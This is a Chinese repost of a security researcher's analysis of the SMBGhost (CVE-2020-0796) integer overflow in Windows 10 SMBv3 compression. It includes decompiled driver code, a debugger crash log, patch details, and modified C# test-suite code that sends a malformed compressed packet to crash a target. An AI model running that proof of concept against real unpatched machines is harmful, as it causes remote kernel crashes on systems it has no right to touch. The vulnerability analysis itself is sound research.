powered by UnicodeSec
本文轉載自 https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
這篇文章主要分析微軟的 CVE-2020-0796,又被稱為SMBGhost/Coronablue。主要影響SMBv3.1.1,目前微軟已經發布補丁,請及時下載。
微軟會向其“重要”合作伙伴發出警報。MSRC在2020年3月9日發布ADV-200005通告https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005 ([1])。
根據過去曾經分析過Wannacry的研究員@ zerosum0x0([2])的說法,該漏洞很難被發現,但是利用起來並不容易。與其他1-day的分析文章不同,我們不以二進制diff作為文章開頭,當前並沒有發布相應的補丁信息,因此我們需要僅憑直覺和經驗來發現此錯誤。
情報來源
根據ADV-200005 安全通告,我們可以得到如下信息,例如影響版本等
Description
================
Microsoft is aware of a remote code execution vulnerability in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target SMB Server or SMB Client.
Security Updates
================
Windows 10 Version 1903 for 32-bit Systems Remote Code Execution Critical
Windows 10 Version 1903 for ARM64-based Systems Remote Code Execution Critical
Windows 10 Version 1903 for x64-based Systems Remote Code Execution Critical
Windows 10 Version 1909 for 32-bit Systems Remote Code Execution Critical
Windows 10 Version 1909 for ARM64-based Systems Remote Code Execution Critical
Windows 10 Version 1909 for x64-based Systems Remote Code Execution Critical
Windows Server, version 1903 (Server Core installation) Remote Code Execution Critical
Windows Server, version 1909 (Server Core installation) Remote Code Execution Critical
Workarounds
================
Disable SMBv3 compression
*************************
You can disable compression to block unauthenticated attackers from exploiting the vulnerability against an SMBv3 Server with the PowerShell command below.
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
根據該文章描述,我們可以得到3個重要信息。
- 該漏洞只影響 SMB v3.1.1,是SMB最新的協議,可能存在某些功能沒有經過測試
- 只影響 1903和1909,這意味着 windows server 2019(177630) LTSC 版本不受影響
- 建議關閉smb 壓縮功能
首先我們要知道smb服務的二進制文件在哪個位置。一般在C:\Windows\System32\drivers\srv2.sys
,這是從學習分析wanncry學到的經驗。
其次,我們要從特定版本的windows上獲取srv2.sys。搭建虛擬機復制拷貝即可
srv2.sys 靜態分析
將 srv2.sys加載到ida中,根據安全通告,與compress有關,所以我們主要查找與compression有關的函數名稱。
Srv2DecompressMessageAsync
Srv2DecompressData
Smb2GetHonorCompressionAlgOrder
Smb2SelectCompressionAlgorithm
Smb2ValidateCompressionCapabilities
Srv2DecompressMessageAsync和Srv2DecompressData這兩個函數可能存在問題,該函數的同步版本函數比異步版本函數更易分析,我們來主要分析一下srv2!Srv2DecompressData函數
__int64 __fastcall Srv2DecompressData(__int64 a1)
{
__int64 v1; // rdi
__int64 v2; // rax
__m128i v3; // xmm0
__m128i v4; // xmm0
unsigned int v5; // ebp
__int64 v7; // rax
__int64 v8; // rbx
int v9; // eax
__m128i MaxCount; // [rsp+30h] [rbp-28h]
int v11; // [rsp+60h] [rbp+8h]
v11 = 0;
v1 = a1;
v2 = *(_QWORD *)(a1 + 240);
if ( *(_DWORD *)(v2 + 36) < 0x10u )
return 0xC000009B;
v3 = *(__m128i *)*(_QWORD *)(v2 + 24);
MaxCount = v3;
v4 = _mm_srli_si128(v3, 8);
v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
if ( v5 != v4.m128i_u16[0] )
return 0xC00000BB;
v7 = SrvNetAllocateBuffer((unsigned int)(MaxCount.m128i_i32[1] + v4.m128i_i32[1]), 0i64);
v8 = v7;
if ( !v7 )
return 0xC000009A;
if ( (int)SmbCompressionDecompress(
v5,
*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + MaxCount.m128i_u32[3] + 16i64,
(unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - MaxCount.m128i_i32[3] - 16),
MaxCount.m128i_u32[3] + *(_QWORD *)(v7 + 24),
MaxCount.m128i_i32[1],
&v11) < 0
|| (v9 = v11, v11 != MaxCount.m128i_i32[1]) )
{
SrvNetFreeBuffer(v8);
return 0xC000090B;
}
if ( MaxCount.m128i_i32[3] )
{
memmove(
*(void **)(v8 + 24),
(const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64),
MaxCount.m128i_u32[3]);
v9 = v11;
}
*(_DWORD *)(v8 + 36) = MaxCount.m128i_i32[3] + v9;
Srv2ReplaceReceiveBuffer(v1, v8);
return 0i64;
}
這是ida反編譯到c的結果。並不是很容易分析,但是,我們可以注意到兩個問題。
- 函數體非常小,與“bug”描述相一致
- 函數只做三件簡單的事,申請buffer,解壓屬於並拷貝到buffer
如果我們想確定該函數是不是存在漏洞的函數,我們需要更多信息,al
寄存器代表什么,攻擊者還可以控制哪些字段???以下是三份關於smb協議的參考資料
- DevDays Redmond 2019, where they present an overview of "compressed" SMB packets: [https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays Redmond 2019.pdf](https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays Redmond 2019.pdf) ([4])
- [MS-SMBv2] the open specification documenting the SMB v2/3 protocol: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962 ([5])
- Public patches from Microsoft engineers in the open-source CIFS project, e.g.: https://patchwork.kernel.org/patch/11014449/
根據公開材料,我們可以了解更多關於smb的包結構。根據這些信息,我又重新命名一下函數中的相關變量
__int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
{
__int64 smb_packet; // rdi
__int64 _header; // rax
SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0
AAA smb_header_compress; // xmm0_8
unsigned int CompressionAlgorithm; // ebp
__int64 __alloc_buffer; // rax
__int64 __allocated_buffer; // rbx
int PayloadSize; // eax
SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]
int UncompressedSize; // [rsp+60h] [rbp+8h]
UncompressedSize = 0;
smb_packet = _smb_packet;
_header = *(_QWORD *)(_smb_packet + 0xF0);
// Basic size checks
if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )
return 0xC000090Bi64;
v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
Header = v3;
// Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence
*(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
(__m128i)v3,
offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);
if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )
return 0xC00000BBi64;
// Nani ?? oO
__alloc_buffer = SrvNetAllocateBuffer(
(unsigned int)(
Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
0i64
);
__allocated_buffer = __alloc_buffer;
if ( !__alloc_buffer )
return 0xC000009Ai64;
// Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize
if ( (int)SmbCompressionDecompress(
CompressionAlgorithm,
(BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
+ 0x10i64),
*(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
(BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),
Header.OriginalCompressedSegmentSize,
&UncompressedSize) < 0
|| (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
{
SrvNetFreeBuffer(__allocated_buffer);
return 0xC000090Bi64;
}
// Copy optional payload
if ( Header.OffsetOrLength )
{
memmove(
*(void **)(__allocated_buffer + 0x18),
(const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
(unsigned int)Header.OffsetOrLength);
PayloadSize = UncompressedSize;
}
*(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;
Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);
return 0i64;
}
現在我們很容易就能看到存在漏洞的地方。
__alloc_buffer = SrvNetAllocateBuffer(
(unsigned int)(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
0i64
);
攻擊者可以控制OriginalCompressedSegmentSize
和OffsetOrLength
這兩個參數。OriginalCompressedSegmentSize
用來描述壓縮前的數據大小,OffsetOrLength
用來描述壓縮數據的長度或者片偏移,主要取決於是否設置flags變量,詳情見圖
OriginalCompressedSegmentSize
和OffsetOrLength
都為32位int類型數字,並且srv2!Srv2DecompressData用上述兩個字段來控制分配內存空間。下面是反匯編
00000001C0017EB2 movq rcx, xmm0
...
00000001C0017EC8 mov rax, qword ptr [rsp+58h+Header.ProtocolId]
00000001C0017ECD xor edx, edx
00000001C0017ECF shr rax, 20h ; OriginalCompressedSegmentSize
00000001C0017ED3 shr rcx, 20h ; OffsetOrLength
00000001C0017ED7 add ecx, eax
00000001C0017ED9 call cs:__imp_SrvNetAllocateBuffer
我們很容易可以發現,其中存在integer整數溢出。下面動態分析來觸發漏洞
動態分析
為了檢驗我們的假設是否正確,我們需要兩件事:
- 存在漏洞的服務器,這很容易設置,只需在系統上安裝Windows 10 1903 或者 1909 Windows即可!
- 實現SMB v3.1.1壓縮功能的SMB客戶端,這實際上實現起來困難得多。
Samba/CIFS 官方聲明說,由於它們未實現壓縮功能,因此它們不受此漏洞的影響,並且通常第三方smb客戶端例如,pysmbclient和impacket's smbclient均不支持壓縮功能。我設法找到了功能完整的SMB客戶端實現:https : //github.com/microsoft/WindowsProtocolTestSuites/
該代碼庫完全使用C# 編寫,並由Microsoft用於測試協議一致性(因此,其功能涵蓋面非常完整),是一個很合適我們測試POC的環境。老實說,該項目是Windows安全研究人員的寶庫,項目中包括 SMB server/client, RDP server/client, Kerberos server, SMBD server等的完整實現。
盡管代碼編寫的很好,但是創建的包並不能觸發漏洞,所以我們要修改一下代碼來觸發我們的漏洞
// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
{
/// <summary>
/// SMB2 Compression Utility.
/// </summary>
public static class Smb2Compression
{
private static uint i = 0;
/// <summary>
/// Compress SMB2 packet.
/// </summary>
/// <param name="packet">The SMB2 packet.</param>
/// <param name="compressionInfo">Compression info.</param>
/// <param name="role">SMB2 role.</param>
/// <param name="offset">The offset where compression start, default zero.</param>
/// <returns></returns>
public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
{
var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);
/*if (compressionAlgorithm == CompressionAlgorithm.NONE)
{
return packet;
}*/
// HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
if (i < 3)
{
i++;
return packet;
}
var packetBytes = packet.ToBytes();
var compressor = GetCompressor(compressionAlgorithm);
// HACK: Insane length to trigger the integrer overflow
offset = 0xffffffff;
var compressedPacket = new Smb2CompressedPacket();
compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
compressedPacket.Header.Reserved = 0;
compressedPacket.Header.Offset = offset;
compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());
var compressedPackectBytes = compressedPacket.ToBytes();
// HACK: force compressed packet to be sent
return compressedPacket;
// Check whether compression shrinks the on-wire packet size
// if (compressedPackectBytes.Length < packetBytes.Length)
// {
// compressedPacket.OriginalPacket = packet;
// return compressedPacket;
// }
// else
// {
// return packet;
// }
}
}
}
namespace Microsoft.Protocols.TestManager.BranchCachePlugin
{
class Program
{
static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
{
Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };
// NEGOTIATION is done in "plaintext", this is the call within UserLogon:
// client.Negotiate(
// 0,
// 1,
// Packet_Header_Flags_Values.NONE,
// messageId++,
// new DialectRevision[] { DialectRevision.Smb311 },
// SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
// Capabilities_Values.NONE,
// clientGuid,
// out selectedDialect,
// out gssToken,
// out header,
// out negotiateResp,
// preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, // apprently mandatory for compression
// compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
// );
if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))
return;
// From now on, we compress every new packet
client.CompressionInfo.CompressAllPackets = true;
// Get tree information about a remote share (which does not exists)
TREE_CONNECT_Response treeConnectResp;
string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare);
// trigger crash here
client.TreeConnect(
1,
1,
Packet_Header_Flags_Values.FLAGS_SIGNED,
messageId++,
sessionId,
uncSharePath,
out treeId,
out header,
out treeConnectResp
);
}
static void Main(string[] args)
{
Console.WriteLine("Hello World!");
Logger logger = new Logger();
AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost");
BranchCacheDetector bcd = new BranchCacheDetector(
logger,
"DESKTOP-SMBVULN",
"DESKTOP-SMBVULN",
accountCredential
);
DetectionInfo info = new DetectionInfo();
info.SelectedTransport = "SMB2";
info.ContentServerName = "DESKTOP-SMBVULN";
info.UserName = "Ghost";
info.Password = "Ghost";
TriggerCrash(bcd,info);
Console.WriteLine("Goodbye World!");
}
}
}
我們通過Smb2Compression.cs去向smb服務器發送看起來畸形數據包,看來我們觸發了漏洞
以下為windbg結果
Breakpoint 3 hit
srv2!Srv2DecompressData+0x6f:
fffff800`50ad7ecf 48c1e820 shr rax,20h
kd> p
srv2!Srv2DecompressData+0x73:
fffff800`50ad7ed3 48c1e920 shr rcx,20h
kd>
srv2!Srv2DecompressData+0x77:
fffff800`50ad7ed7 03c8 add ecx,eax
kd> r eax
eax=7e
kd> r ecx
ecx=ffffffff
kd> p
srv2!Srv2DecompressData+0x79:
fffff800`50ad7ed9 4c8b15489a0200 mov r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`50b01928)]
kd> r ecx
ecx=7d
kd> p
srv2!Srv2DecompressData+0x80:
fffff800`50ad7ee0 e8fbe29704 call srvnet!SrvNetAllocateBuffer (fffff800`554561e0)
kd> p
srv2!Srv2DecompressData+0x85:
fffff800`50ad7ee5 488bd8 mov rbx,rax
kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000050
(0xFFFF8483C09E7E2F,0x0000000000000000,0xFFFFF80051A0E750,0x0000000000000002)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff800`51a79580 cc int 3
kd> !analyze -v
Connected to Windows 10 18362 x64 target at (Wed Mar 11 18:06:55.585 2020 (UTC + 1:00)), ptr64 TRUE
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8483c09e7e2f, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff80051a0e750, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
Debugging Details:
------------------
READ_ADDRESS: ffff8483c09e7e2f Nonpaged pool
TRAP_FRAME: fffff105d6992c00 -- (.trap 0xfffff105d6992c00)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff80051a0e700 rbx=0000000000000000 rcx=ffff8483bccd204f
rdx=ffff8483bccd204f rsi=0000000000000000 rdi=0000000000000000
rip=fffff80051a0e750 rsp=fffff105d6992d98 rbp=ffff8483bccd204f
r8=ffff8483c09e7e2f r9=0000000000000078 r10=ffff8483bccd1f6d
r11=ffff8483c09e7ea7 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
nt!RtlDecompressBufferXpressLz+0x50:
fffff800`51a0e750 418b08 mov ecx,dword ptr [r8] ds:ffff8483`c09e7e2f=????????
Resetting default scope
STACK_TEXT:
fffff105`d69921b8 fffff800`51b5b492 : nt!DbgBreakPointWithStatus
fffff105`d69921c0 fffff800`51b5ab82 : nt!KiBugCheckDebugBreak+0x12
fffff105`d6992220 fffff800`51a71917 : nt!KeBugCheck2+0x952
fffff105`d6992920 fffff800`51ab5b0a : nt!KeBugCheckEx+0x107
fffff105`d6992960 fffff800`5197e1df : nt!MiSystemFault+0x18fafa
fffff105`d6992a60 fffff800`51a7f69a : nt!MmAccessFault+0x34f
fffff105`d6992c00 fffff800`51a0e750 : nt!KiPageFault+0x35a
fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50
fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66
fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd
fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1
fffff105`d6992ed0 fffff800`50b19a7f : srv2!Srv2DecompressMessageAsync+0x1e
fffff105`d6992f00 fffff800`51a7504e : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
fffff105`d6992f80 fffff800`51a7500c : nt!KxSwitchKernelStackCallout+0x2e
fffff105`d52cf8f0 fffff800`5197545e : nt!KiSwitchKernelStackContinue
fffff105`d52cf910 fffff800`5197525c : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e
fffff105`d52cf9b0 fffff800`519750d3 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc
fffff105`d52cfa20 fffff800`5197508d : nt!KeExpandKernelStackAndCalloutInternal+0x33
fffff105`d52cfa90 fffff800`50b197d7 : nt!KeExpandKernelStackAndCalloutEx+0x1d
fffff105`d52cfad0 fffff800`51fc54a7 : srv2!RfspThreadPoolNodeWorkerRun+0x117
fffff105`d52cfb30 fffff800`519e5925 : nt!IopThreadStart+0x37
fffff105`d52cfb90 fffff800`51a78d5a : nt!PspSystemThreadStartup+0x55
fffff105`d52cfbe0 00000000`00000000 : nt!KiStartSystemThread+0x2a
補丁
微軟的補丁就是在Srv2DecompressData里面對上述兩個Length做了檢查.
__int64 __fastcall Srv2DecompressData(__int64 a1)
{
//
//添加了對Header中Length的檢查
//
if ( RtlULongAdd(Header.OriginalCompressedSegmentSize, Header2.Length, &pulResult) < 0 )
{
...
}
if ( pulResult > (unsigned __int64)(unsigned int)(*(_DWORD *)(v9 + 0x24) + 0x100) + 0x34 )
{
...
}
if ( RtlULongSub(pulResult, Header.Length, &pulResult) < 0 )
{
...
}
}
結論
總體來看,CVE-2020-0796是一個很容易發現的漏洞。但是完美利用利用它確實另外一回事:這是一個在windows 10 KASLR 保護機制下需要遠程攻擊的kernel exploit。最好的辦法就是完全禁用這個功能。
參考文獻
- https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
- "leaked" advance warning
- zerosum0x0 tweet, announcing the triviality of finding the bug
- Virtual Machines - Microsoft Edge Developer
- [DevDays Redmond 2019](https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays Redmond 2019.pdf)
- MS-SMBv2
- WindowsProtocolTestSuites